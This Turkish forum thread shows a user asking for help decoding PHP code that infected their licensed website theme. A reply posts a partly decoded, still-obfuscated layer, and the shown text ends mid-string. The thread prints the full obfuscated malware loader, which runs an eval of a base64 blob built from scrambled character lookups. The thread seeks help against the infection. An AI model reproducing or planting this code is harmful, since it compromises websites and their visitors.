0
Kayıt Ol

Base64 Şifre Çözümleme ?

1

●

729

  • 11-05-2017, 10:25:23
    #1
    Linux
    Linux
    iyisite.NET
    Merhaba arkadaşlar, lisanslı temama bir virüs bulaştı ki sormayın.

    Yardımcı olursanız sevinirim.

    <?php
@set_time_limit(0);
$xmlname = 'mapss.xml';
$jdir = '';
$smuri_tmp = smrequest_uri();
if($smuri_tmp==''){
	$smuri_tmp='/';
}
$smuri = base64_encode($smuri_tmp);
$dt = 0;
function smrequest_uri(){
	if (isset($_SERVER['REQUEST_URI'])){        
		$smuri = $_SERVER['REQUEST_URI'];        
	}else{
		if(isset($_SERVER['argv'])){       
			$smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];     
		}else{      
			$smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];        
		}
	}        
	return $smuri;        
} 


$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0iSWtLb1R1WlBlVkdDWUZzclFBWGpjQkRhSFd5dGZpbmhiZHBTdk5MRWdKeG1PUmx6VU1xd0tSSHZEVFFxa3dqZUZjaHlBU1VaYm5HemFtc0VMV2RnWEJPbEl4TW9pSlBWcnVmQ1lOdHBxRzlwemFTaUdBdnhlaTBISmF1ZlhVU2lxbG5TSmM5YXV3dVhKM3hFQmp3RWJlQkJycDBISmpCSUIyd1dLRzBpSjN1dnpVSjBrbDFDUVVRZlhab1RGVlAxUW1jUlFqZlpCZTVDelV1ZkpDaHhlV3VPUWVTOUtvU1JVMEJjd2NoZGIyMU9RZUJCcnNTeGVXdUN6VXVmS0cwaUFldUx1MHdZbXNCQ1hVeE9CallkVURoeGVXdUN6VXVmS0cwaWIzdXNVM0pmYmpQZ0YyWXZKczhkTWViZE1ldUN6VXVmSERoeGVXdXZYM3gwS0cwaUpjOUR1d0ptdXdKWEowZ1l3Y25MbG85RHdlQkJycDBISmp4aFgyeHlLRzBpSnNiN0dBdnhlV3UwUW0xcEIyd1dLRzBpQWV1THUwd1ltc0IwUW0xcEIyd1dKMTA3R0F2UkJqd0ViYUJmRldTOUtheDBiZjlzUVVuaEZteGZIZWJJSnNwZEpzcFJCandFYmFCZkZXUjdHQXZ4ZVZmVkhldTBRbTFwQjJ3V0hVaHhlaVJSYjJmMFFsUzlLZXUwUW0xcEIyd1dtQ25CTVd1MFFtMXBCMndXbUNjQk1XdTBRbTFwQjJ3V21DSkJycDBIZWx1MFFtMXBLRzBpYjN3V2IzdXNIZXUwUW0xcEIyd1dNR05PcnAwSExBMEhHQXZ4ZVd1aEZtNWRLRzBpSmM5RHV3Sm11d0pYS1JnWXdjbkxBWXhHdXduWVUwUG5EUkJ3QVlCY0tmMDdHQXZSWGpjVFFzUzlLakpnYjJZMnhjOWZYVnhJUWpZdkpqUGdYVmJPcnAwSEpqOUNLRzBpSmM5RHV3Sm11d0pYSjBnWXdjbkx3d3hjWWY5bnUwd3J3ZUJCcnAwSEpqOUNLRzBpRlZjQ1FERjBVMndURjI5UlFsaVJYM05PcnAwSHptRnZ6VXhDUVVBdkpjOUR1d0ptdXdKWEowZ1l3Y25MWVJ3anV3SmNZV0JCSGxmN0dBdmlLZVNpSmF3c1hheHZGbTVkS0cwaUpjOUR1d0ptdXdKWEowZ1l3Y25MWVJ3anV3SmNZV0JCcnAwSEtlU2lLZXUxYlZQQ3pqY1RRc1M5S2pKZ2IyWTJ4YzlmWFZ4SVFqWXZKYXdzWGF4dkZtNWRIRGh4ZWQxZlhheGZrcDBIZWx1MWJWUEN6amNUUXNTOUtlYmRycDBITEEwSEdBT09RV2dkUVV1ZlhkRnZKMUpjRFk5WXV3OW51b3VsSnNSaUpXRmliM3VzRjJjQ1FteEViZWdkUVV1ZlhkRnZKMUpjRFk5WXV3OW51b3VsSnNSaEtlQjFYVkVUWDNCVEpzUk9LYWh4ZVd1WlhqOVp6c1M5S2pCZkJqd1RCV2lkWVJ3eEQxdWNVMGNvdWNLZEhEaHhlZDBpUW1QQ1FtZlZIamZDYjJ3MEhldUxZMHdsd1J3bG1zQmx1WTFxd293TEFZdW9ZV0JCSGxTVkpXU1JVMXhjWWZRY1lmaGRZUnd4RDF1Y1UwY291Y0tkVWxTVkpXbkNCYUpaRlV4ZkYyMXBIZXVMWTB3bHdSd2xtc0JsdVkxcXdvd0xBWXVvWVdCQk1lU2RCbTV5WFY5M1hXYk9IbG43R0F2UkYyUElGMmhpcWxTUlUxeGNZZlFjWWZoZFlSd3hEMXVjVTBjb3VjS2RVRGh4ZWQweGVpMEhKamcwQmFuTEYyUElGMmhpcWxTZEpDaHhlVmZWSGpCZkJqd1RCV2lkbGN1WVljOUdEb2ZjRGZ1TGx3U2RIbFNWSlduQ0JhSlpGVXhmRjIxcEhqQmZCandUQldpZGxjdVlZYzlHRG9mY0RmdUxsd1NkSGxwaUozd1R6MjVJQjI0ZEhsUmlrcDBISmpnMEJhbkxGMlBJRjJoaXFsbmRRVXVmWGRGdkowZ1l3Y25MQTBQSnVZNVlVMGZBSnNSN0dBTzlLandoYjJ3T1FXZ2RRVXVmWGRGdkowZ1l3Y25MbWM5akQxSlVBd0pvdVl1THVSOWxKc1JpSldGaWIzdXNGMmNDUW14RWJlZ2RRVXVmWGRGdkowZ1l3Y25MbWM5akQxSlVBd0pvdVl1THVSOWxKc1JoS2VCMVhWRVRYM0JUSnNST0thaHhlV3V2QmF1cFUyeGhYMnh5S0cwaVEydzBRbTUySGVCS3djdUFVMWdMdVI5bHcwY2x1b3dvVTBRcVlXYk9ycDBITEEwSEdBT09RV2dDQmFKT2IzdXNIZXVaWGo5WnpzcGRNZWJPSFVoeGVpUlJGMlBJRjJFTEJqMXBLRzBpUVVncFhqOVJRbGlXTWVLaEpqeGhYMnh5SERoeGVpUlJGMlBJRjJoaXFsU1JGMlBJRjJFTEJqMXBtQ25CcnAwSExBUnhlVmZWSG9TUlUwQmN3Y2hkejJ2ZFVsUzlxbFNXTmxLT2twUnhlaVJSQlV3c1hlUzlLZXVMdTB3WW1zQnl6ZHhPQmpZZFVEaEpHQXZKUW14dlhzU2RxamZWYlZjRVFsU2l6bUE5S1YxZ3ptNTNRbUtXS2o1Z1htWTlLVjFnem01M1FtS1dLamdmem1CdkJHMFdORFNwSmxLaUIyZlJCamk5S1pvcE5lWVdLYXgwa21QZnFsS2lRamZDYmpQZ2tEdmlGVlBJRjJoN1hqd1ZCR3ZwcjN1SWJHdnByM25JYjJmMHptOVRyVlFPa2p3UnJzbjZNbWZUUWp3NHJXU1BOR1NwTkdTN0tlbldGbXh5UTNKSUJtNVJNbXhJWGo5c3JXU1pRVlFWcnNLaVFkSmdYbXdXWDNKUlFVS2lxbFNXTmVLaUtqUXNGbTFmRlY5c1Fqd3NxbEtwS1dTaVgyNU5YMmNScWxKT3VkSmdYbXdLUW1mZHphQXZIbEtpYjNKWnFsS2RNVkpnYjJZMnhjOVJRbXhJUWpZdkphdzFiVnBPTVdiV3FacEl6bVFzRm0xZnFXYjdHQXZKUVVnT0JHaHhlZDB4ZWkwSHptRnZiM3VzelV4MGJXaVJiMjExYlZmTEJqMXBNZWJURjN4Q0pzUk9rcFJ4ZWlSUkIyd1dLRzBpSjJnMEJhUzZNczhkTVd1ZFgzQmZGVzRkTTJmVFFqdzRNZG52Ykc5MWJWcDlKczRSYjJmMFFsNGRKVmZScWxiVEpqZlJNV2JWQmp3RWJHMGRNV3UwUW0xcE1XYlZRYUE5SnM0UlFhQVRKc1EzUW1LOUpzNFJ6ajlDQmU0ZEpkTzZxbGJUYjIxT2IySklCZWlPTVdiVnpWdU9iWjBkTVd1dFFqZnNNV2JWRjJQSUYyaDlKczRSRjJQSUYyaFRKc1ExYlZSOUpzNFJiMjExYlZSVEpzUWhGbTVkcWxiVEpqUGdYVmJUSnNRSWJDMGRNV3VJYnM0ZEpkd3NYYXh2Rm01ZHFsYlRKYXdzWGF4dkZtNWRNV2JWemF1MGJjOVpYajlaekMwZE1XdXZCYXVwVTJ4aFgyeHlycDBIZWx1dkJqMWhVMnhJWGR1ZlhkQWlxbG4wYlZmRUhheEVYM3cwUWo4dkphQmZGV1JPcnBSeGVpZk9RV2lnYjN1c2IzdXNIZXV2QmoxaFUyeElYZHVmWGRBaEoyNUlGVjkwQlV4ZmJWY2RRbTUwSnNST2twUnhlaVJKem1GdmIzdXNiM3VzSGV1dkJqMWhVMnhJWGR1ZlhkQWhKMjl5emF1RVhqQmZCanhJWGR1ZlhkQWRIbGY3R0F2SmVBZlN6andnUWp3c0hlSkdYMjUwUW01ME1VdTVialk2S2F1ZmthQUlGM3hDcnNuWnpqY3NiMncwcVV3MFFXMDRLV1I3R0F2SmVBUlJ6YXVFWGM5WlgyNTBRbTUwS0cwaWIzdXNVM0pmYmpQZ0YyWXZLVjl5emF1RVhqQmZCanhJWGR1ZlhkQVdNZWJkTWV1dkJqMWhVMnhJWGR1ZlhkQU9ycFJ4ZWlSSmVtd1p6ajhpSmpnMFhtUExGMjlUQmp3VEJHaEplQVJKR0F2SmVBZmZramYwSGVSN2VBMEhlQWY5UW1QQ1Fsbk9RV2dDQmFKQ0JhS3ZKamcwWG1QTEYyOVRCandUQmVwZFEydzBGMjlUQmp3VEJHWXBOYW5nUTJZZEhsZjdHQXZKZUFmU3pqd2dRandzSGVCS3djdUFNQ29UTmxTMU5HU2lsbTUwUVVKVEZtcGlZMndzQlZ3c0tvd3NiVjlzSnNSN0dBdkplQWZma2pmMEhlUjdHQXZKZVUxZlhheGZLamZWSGF4MGJkeDBiV2lSemF1RVhjOVpYMjUwUW01ME1lQmRRVXVaWDI1MFFtNTB4R1MwYmpjZFFsYk9IVWh4ZWlSSmVZbnZRbWNSUVVLdkowZ1l3Y1NJTmw0UEtHQXB4ZW5yWDNBaXVWOTFYVkFkSERoeGVpUkplbXc0elVBdkhEaHhlaVJKTEEwSGVBUkplQVJKR0F2SkxBUkpHQU85R0F2eGVWd2hiMllpem1GdkpheE9CallPa3NTeGVpZk9RV2lSYjJmMFFsUzlxbFNka2oxaEpzZjdHQXZKZVludlFtY1JRVUt2S1J4SVhkdWZYZEFFQmFmcFFEdmlCanc0QmU5dkJqMWhyc25aempjc2IydzBxVXcwUVcwNEtXUjdHQXZKZWx1M1FtS2lxbFNkemF1MGJHdklNc2JUSmpCSUIyd1dNV2JJYjJmMFFtMWdiZTVwemFTL1FqYzBRRDBkTVd1T1FlNGRKZHVmWFVTOUpzNFJCandFYmU0ZEpkQmZGWjBkTVd1dlgzeDBNV2JWa2oxaHFsYlRKanUwcnNTeGVpUkp6bUZ2YjN3V2IzdXNIZXUwUW0xcE1HU2hyZVI5cWxCQ3pqd2hYYWdFWGViT2twMEhlQVJKSmFnRVhqNWdYbVlpcWxuQ0JtSkNCYUt2SmF1ZlhVU2hyZVJUSnM1NFhtcGRycDBIZUFmOUdBdkplbWZWSGF4MUZkeDBiV2lSQmp3RWJlcHBNR2JPcUQwZHpqY1p6M2dFWGViT2twMEhlQVJKem1GdmIzd1diM3VzSGV1MFFtMXBNR2JPSFVoeGVpUkplQVJSa2oxaFhWY0VRbFM5S2F4MUZkeDBiV2lSQmp3RWJlcDNIbDRkTWRnRVhlYjdHQXZKZUFmOWVBUkpHQXZKZVUweGVpUkpKYWdFWGVTOUthdXN6bTB2YjIxSUJVdVJYc2lSQjJ3V0hsUjdLUzBIZUFSUlhVZlZ6bVBmS0cwaVFWOXBRbTR2SmFnRVhqNWdYbVloS2VKM0tXUjdLUzBIZUFmVkIzSk9Call2SmoxNVFWZmhRbHBpSmFnRVhlUjdHQXZKZW1RWlhqOUNRbGlSWFVmVnptUGZIRGhpR0F2SmVtd1p6ajhpS1Y5eXFqSnNxVmcwQmFTNk1zOFdNV3VMWTB3bHdSd2xtc0JLd2N1QVUwZ3FZMUFkVWw0V01zS1RKYWdFWGo1Z1htWTdLUzBIZUFmZkYyZ0lLZUs4RmRLK0tXNFJCMndXcnAwSGVBUnhlaVJKUVVnT0JlaU9ycDBIZVUwSkdBdkp6bUZ2SmpmUkhVaHhlaVJKQWpnZkZtdWZiV2lXQTI5VEJqd1RCZTEwa1VuZnJXbjBRVWcwTTJnMFhtcDdLanh2RlVKQ1FVQTlCVXVWTURpV0hEaHhlaVJKSmFCZkZXUzlLZUJ2QmF1cHJXOElKczRSUTI5M1FtS1RKczlPWFZ1ZmtlNXB6YVMvQlVKaHFsYlRKYXhPQmpZVEpzUU9RRzBkTVd1T1FlNGRKZHVmWFVTOUpzNFJCandFYmU0ZEpWdTBxbGJUSmp1ME1XYlZCMndXcWxiVEpqZ0liM0FUSnNRNmtaMGRNZHhFelV4V1gzQXZIbDRkSlZPUnpVSzlKczRSelZ1T2JXNGRKVnhoWDJ4eXFsYlRKanhoWDJ4eU1XYlZCVUpPcWxiVEpheEVCVUpPTVdiVlhqY1RRQzBkTVd1aEZtNWRNV2JWWDNOOUpzNFJYM05USnNRMWJWUEN6amNUUUMwZE1XdTFiVlBDempjVFFzNGRKVmcwQmFuTEYyUElGMmg5SnM0UnphdTBiYzlaWGo5WnpDaHhlaVJKSmpnMFhtUExGMjlUQmp3VEJlUzlLYXVzem0wdmIyMUlCVXVSWHNpUkIyd1dIbFI3R0F2SmVtZlZIZWNDQmFKQ0JhS3ZKamcwWG1QTEYyOVRCandUQmVwZFhWOVdYM3UxYjJ3c0ZtQmZYZEFkSGxmN0dBdkplQWZPUVdnQ0JhSkNCYUt2SmpnMFhtUExGMjlUQmp3VEJlcGRYMkV2QmoxaFEydzBGMjlUQmp3VEJlYk9IVWh4ZWlSSmVBUlJ6YXVFWGM5WlgyNTBRbTUwS0cwaWIzdXNVM0pmYmpQZ0YyWXZLVjl5emF1RVhqQmZCanhJWGR1ZlhkQVdNZWJkTWV1dkJqMWhVMnhJWGR1ZlhkQU9ycDBIZUFSSmVtd1p6ajhpSmpnMFhtUExGMjlUQmp3VEJHaEplQVJ4ZWlSSmVBZmZramYwSGVSN0dBdkplQWY5UW1QQ1Fsbk9RV2dDQmFKQ0JhS3ZKamcwWG1QTEYyOVRCandUQmVwZFEydzBGMjlUQmp3VEJHWXBOYW5nUTJZZEhsZjdHQXZKZUFSSkFqZ2ZGbXVmYldpZGxjdVlZZThQTVpvaXhEU3BLb2ZUQmp3c1hWY2hLY3hmYmRRZmJXbmNiZEpJYldiT3JwMEhlQVJKZW13NHpVQXZIRGh4ZWlSSmVVMWZYYXhmS2pmVkhheDBiZHgwYldpUnphdUVYYzlaWDI1MFFtNTBNZUJkUVV1WlgyNTBRbTUweEdTMGJqY2RRbGJPSFVoeGVpUkplQWZTemp3Z1Fqd3NIZUJLd2N1QU1Db1RObFMwTkdBaURWOTBLb1FJQm01UkpzUjdHQXZKZUFSSlFVZ09CZWlPcnAwSGVBUkpMQTBIZUFSSmVBUkpHQXZKZVUweGVpZjlHQU85UW1QQ1FVaHhlaVJ4ZWlSUkIyd1dLRzBpSjJnMEJhUzZNczhkTVd1ZFgzQmZGVzRkTTJmVFFqdzRNZG52Ykc5MWJWcDlGVjkwSlZmUnFsYlRKamZSTVdiVkJqd0ViRzBkTVd1MFFtMXBNV2JWUWFBOUpzNFJRYUFUSnNRM1FtSzlKczRSemo5Q0JlNGRKZE82cWxiVGIyMU9iMkpJQmVpT01XYlZ6VnVPYlowZE1XdXRRamZzTVdiVkYyUElGMmg5SnM0UkYyUElGMmhUSnNRMWJWUjlKczRSYjIxMWJWUlRKc1FoRm01ZHFsYlRKalBnWFZiVEpzUUliQzBkTVd1SWJzNGRKZHdzWGF4dkZtNWRxbGJUSmF3c1hheHZGbTVkTVdiVnphdTBiYzlaWGo5WnpDMGRNV3V2QmF1cFUyeGhYMnh5cnAwSGVsdXZCajFoVTJ4SVhkdWZYZEFpcWxuMGJWZkVIYXhFWDN3MFFqOHZKYUJmRldST3JwMEhlbWZWSGVjQ0JhSkNCYUt2SmpnMFhtUExGMjlUQmp3VEJlcGRYVjlXWDN1MWIyd3NGbUJmWGRBZEhsZjdHQXZKZVludlFtY1JRVUt2S1J4SVhkdWZYZEFFQmFmcFFEdmlCanc0QmU5dkJqMWhyc25aempjc2IydzBxVXcwUVcwNEtXUjdHQXZKZW1mVkhheDBiZHgwYldpUnphdUVYYzlaWDI1MFFtNTBNZUJJejJnMFhtUGRRVXVaWDI1MFFtNTBKc1JPa3AwSGVBUkpKamcwWG1QTEYyOVRCandUQmVTOUtheDBiZjlzUVVuaEZteGZIZUpJejJnMFhtUGRRVXVaWDI1MFFtNTBLV3BkSnNwUnphdUVYYzlaWDI1MFFtNTBIRGh4ZWlSSmVtd1p6ajhpSmpnMFhtUExGMjlUQmp3VEJHaEplQVJ4ZWlSSmVtdzR6VUF2SERoeGVpUkpMbXdoYjJZaXptRnZiM3VzYjN1c0hldXZCajFoVTJ4SVhkdWZYZEFoSjJCZkJqeElYZHVmWGRBMU5HbnBGbUJmSnNST2twMEhlQVJKQWpnZkZtdWZiV2lkbGN1WVllOFBNWm9peERTcEtvZlRCandzWFZjaEtjeGZiZFFmYlduY2JkSkliV2JPcnAwSGVBUkpRVWdPQmVpT3JwMEhlQWY5UW1QQ1Fsbk9RV2dDQmFKQ0JhS3ZKamcwWG1QTEYyOVRCandUQmVwZFEydzBGMjlUQmp3VEJHQXB4YW5nUTJZZEhsZjdHQXZKZUFmU3pqd2dRandzSGVCS3djdUFNQ29UTmxTME5HQWlEVjkwS29RSUJtNVJKc1I3R0F2SmVBZmZramYwSGVSN0dBdkplVTB4ZWlSSmVBUkpHQXZKTEFSeGVkMHhlaTBIUWR3VEYzdU9YMjRpYjIxT2IySklCZWlPS2FoeGVpUlJGbUJmWGRBaXFsbkNCYUowWDJQSUIyd3NIZXVMWTB3bHdSd2xtc0JLd2N1QVUxd0R1d0pMQVlCY0RmQWRVbFI3R0F2SnptRmlIZXVnUTJ3VEJlU2dxbFNXS1dSaWtwMEhlQVJSYjNuT1Fqd3NZMmYwUWxTOUtqY3NiVmM1S2VpV3dqd1RGMndUQmN1c0ZVUWZYandzS1dwV3UyOUlRMlBmRlY5MEtXcFdYVXhURlY5MEtXcFdZMjlDWDN4cHptdWZiV2hXTWVKRFgyQklCbG4zUW1LaWIzbk9RandzS1dwV3ptY0xGVUpaempmMlFVS1dNZUpRRm1nSVhzb2lZMlAxYmRTV01lSlFYM3dSRm05ZVgzQVdNZUpRRm1nSVhzbkRYYXdzYmVLaEtSMUREUkpJQmVLaEtST2dCVm9pSG85VkJqd1RLYXhwRm0waUZWOTBIbEtoS1JKZ3pZdTFZM25PUWp3c0tXcFd3VjlPWGpvV01lSlFGbTVSUVVpaUZWOTBLV3BXQWZ4cHptdWZiV0toS2R1M3pteGZYandzS1dwV1kyOWRYM1lpWTNuT1Fqd3NLV3BXWTNuZlFtdTVLY3hwem11ZmJXS2hLUkJJWDJCaFFsbm5RY3hmWGR4ZktXcFdsandzelV1c3pVaVdNZUpBa1V1dlgyNEVCVUpoWGpmV0tXcFdBbVBma2pvaUhvZm5Lb2NzRjJnT0JWd3NIbEtoS1JjQ3pzS2hLUnc0Rm1KSUJlS2hLUngxYjN1SUtXcFdEM3cwUVY5NEFWOTBNMWZJUWpjSUFWOTBLV3BXa21jWmtsS2hLZngxYmRRZmtZSklCZUtoS1ZQZlEzTldNZUpoQjNTRUJhSk9CVmZnWGVLaEtSNTFCanh2S1dwV1kzdWdGMkVsRm0xV1hqd3NLV3BXd2pnZkthQmZGV25nYlZ4dnpVUWZLZWdKQWxubmJWeHZ6VVFmYldSV01lSkFRVUpoS2F1SVgycFdNZUp4bFpvc0ZWOTBLV3BXRFZ3MEYzSmdRZEFXTWVKeFkwZmNBM0pnQjJQZmJXS2hLZkJhUVVBaUJqOUlYYU5XTWVKaEZVSld6bTRXTWVKanpVeHZLYXhmRlVKWnplS2hLZUJXem01ZEZWOTBKc3BkUTI5SVEyUGZKc3BpSjJKZ3ptdTFKc3BpSjJjSVhlYmhLZUJXem01ZEpzcGlKM2Znemo5SUpzcGlKMWZnWFZ1ZmtvSklCZWJoS2VCbnphSmZRZHhlWDNBZEhEaHhlaVJKUVY5c1FtY1p6ZVN2SmF4cHptdWZiZnhPQmpZaUZVTmlKYVFnWGVSaWtwMEhlQVJKSmF4MGJXUzlLYXgwYmR1SVhqOTNRVUt2SmFRZ1hlUjdHQXZKZUFmT1FXU3ZiM3VzYmo5Q0hldWdRMndUQmVwaUpheDBiV1JPS2FoeGVpUkplQWZzUVV1MWJWNGlCYUoxUURoeGVpUkplVTB4ZWlSSkxBMEhlVTFmWGF4ZmtwMEhlQWZzUVV1MWJWNGlRVmNoYjJZN0dBdkpMQTBITEEwSFFkd1RGM3VPWDI0aWIyMUlCVXVSWHNpUkJVSmhIVWh4ZWlSUlFWZmhRdzlaWDI1MFFtNTBic1M5S29uVnptUGZVMkJmQmM5WlgyNTBRbTUwYnNpUkJVSmhIRGhpR0F2SnptRmlIZW9SUVZmaFF3OVpYMjUwUW01MGJzUmlrcDBIZUFSUkYyaWlxbG5aQlVKaFUyZlR6VUF2SERoeGVpUkpGM3dzWGM5Q1FVdUliYUF2Smp4dk1lbkd3d0pORDFuWVUxd2xEZXBpSmF3c1hlUjdHQXZKZW14MWJWUExiMncwWDNuMEhldVp6ZXBpQTF3bERvOUF3YzlsdXd1d1lSNVlZUmNyWTBRY1lXcFBIRGh4ZWlSSkpqUU9YandMRjI5VEJqd1RCYU5pcWxuWkJVSmhVMnc0UW1OdkpqeHZIRGh4ZWlSSkYzd3NYYzlaWGo5Q1FsaVJGMmlPcnAwSGVVMGlHQXZKYlZ3MEJVSlRLZXVWem1QZlUyeElYZHVmWGR1Q3JwMEhMQTBIcUM0PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs="));
 ?>
  • 12-05-2017, 14:24:10
    #2
    saintx
    saintx
    Kimlik doğrulama veya yönetimden onay bekliyor.
    @Linux; aşağıdaki gibi bir kod çıkıyor.

    		

<?php
$O0O000 = "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